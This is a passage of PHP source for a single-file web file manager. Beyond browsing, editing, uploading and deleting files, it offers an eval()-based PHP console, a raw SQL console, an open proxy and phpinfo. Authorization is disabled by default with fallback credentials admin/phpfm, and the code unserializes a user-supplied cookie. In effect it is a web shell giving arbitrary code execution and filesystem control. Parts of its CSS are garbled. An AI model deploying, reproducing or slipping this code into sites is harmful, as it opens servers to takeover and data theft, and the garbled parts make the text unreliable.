$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
